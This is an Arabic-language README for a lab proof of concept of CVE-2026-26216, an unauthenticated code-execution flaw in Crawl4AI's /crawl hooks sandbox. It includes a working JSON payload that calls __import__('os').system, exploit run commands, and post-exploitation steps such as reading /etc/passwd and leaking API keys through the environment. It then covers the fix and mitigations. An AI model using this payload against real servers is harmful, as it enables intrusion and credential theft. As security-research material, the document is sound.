CVE-2026-26216 — RCE غير مصادق عليه في Crawl4AI عبر hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · RCE قبل المصادقة · CWE-94 (حقن كود) تنفيذ أوامر عن بُعد غير مصادق عليه على خادم Docker الخاص بـ Crawl4AI (< 0.8.0)، عبر إساءة استغلال معامل hooks في نقطة النهاية POST /crawl. طلب JSON واحد في POST ينفّذ Python بصلاحيات root داخل الحاوية.

هذه PoC مخبرية، قائمة بذاتها وقابلة لإعادة الإنتاج، لأغراض البحث الأمني والتعليم.

---

الثغرة في جملة واحدة

نقطة النهاية POST /crawl تقبل كود Python اعتباطيًا في الحقل hooks.code.<evento>. يُنفَّذ هذا الكود عبر exec() داخل «صندوق رمل منزلي» — قاموس مقيّد من الدوال المدمجة. لكن __import__ تُركت في القائمة البيضاء، مما يتيح __import__('os').system(...) ويهزم الصندوق الرمل بأكمله.

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

بما أن النشر الرسمي يعمل مع JWT معطل افتراضيًا والحاوية تعمل بصلاحيات root، فإن النتيجة هي RCE بصلاحيات root قبل المصادقة.

لماذا هو الدرس المثالي حول «صندوق الرمل المنزلي في أداة ذكاء اصطناعي»

يبدو أن الصندوق الرمل يعمل: تمت إزالة open وeval وexec، لذا فإن الهجوم الساذج (open('/etc/passwd')) محجوب. وهذا يخلق إحساسًا زائفًا بالأمان. لكن يكفي دالة مدمجة واحدة خطرة منسية (__import__) لاستيراد المكتبة القياسية بأكملها (os, subprocess, socket) وتصبح القائمة البيضاء ديكورًا. القائمة البيضاء للدوال المدمجة ليست صندوق رمل.

---

بنية المشروع

CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

ملاحظة حول الدقة. vulnerable-app/ هي استنساخ مصغّر لمسار الكود الضعيف في Crawl4AI (لا يفتح Chromium/Playwright)، لتكون الـ PoC خفيفة وقابلة لإعادة الإنتاج 100%. سلوك الصندوق الرمل وبنية الحمولة يعكسان النشرة الرسمية GHSA-5882-5rx9-xgxp. السطر الضعيف معلَّم في vulnerable-app/hook_manager.py.

---

كيفية التشغيل

# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

---

ما الذي يوضحه الـ exploit

#	الإجراء	التأثير
1	open('/etc/passwd') مباشرة	محجوب بواسطة الصندوق الرمل (أمان زائف)
2	__import__('subprocess') + id/whoami	RCE بصلاحيات root
3	cat /etc/passwd عبر الصدفة	قراءة عشوائية للملفات
4	env | grep KEY	تسريب مفاتيح API / الرموز
5	echo ... > /tmp/PWNED	كتابة عشوائية للملفات

من هنا: انطلاق إلى الشبكة الداخلية، سرقة بيانات اعتماد السحابة، استمرارية، إلخ.

---

التأثير

• السرية: سرقة OPENAI_API_KEY والرموز الداخلية وأسرار الحاوية.
• السلامة: كتابة/تعديل الملفات، أبواب خلفية.
• التوافر: قتل العمليات، مسح البيانات.
• جانبي: الحاوية عادةً تملك وصولًا إلى الشبكة الداخلية → انطلاق.

كل ذلك بدون مصادقة.

---

الإصلاح

تم إصلاحها في Crawl4AI 0.8.0:

• __import__ (وeval/exec/open) أُزيلت من الدوال المدمجة المسموح بها.
• الـ Hooks معطَّلة افتراضيًا — تفعيل صريح عبر CRAWL4AI_HOOKS_ENABLED=true.

تخفيفات عامة:

• حدّث إلى crawl4ai >= 0.8.0.
• لا تعرّض خادم Crawl4AI مباشرة للإنترنت؛ فعِّل JWT.
• لا تشغّل الحاوية بصلاحيات root؛ استخدم مستخدمًا غير مميز ونظام ملفات للقراءة فقط.
• تعامل مع «القائمة البيضاء للدوال المدمجة» على حقيقتها: ليست صندوق رمل. لتنفيذ كود غير موثوق، استخدم عزلًا حقيقيًا (gVisor، microVM، عملية منفصلة بدون شبكة/نظام ملفات، seccomp).

---

المراجع

• نشرة GitHub الأمنية — GHSA-5882-5rx9-xgxp
• قاعدة بيانات النشرات الأمنية على GitHub
• Corgea — CVE-2026-26216
• قاعدة بيانات النشرات الأمنية على GitLab
• miggo.io — GHSA-5882-5rx9-xgxp

---

إخلاء مسؤولية

مادة لأغراض البحث الأمني المصرّح به والتعليم. استخدمها فقط على أنظمة تملكها أو لديك إذن صريح كتابي لاختبارها.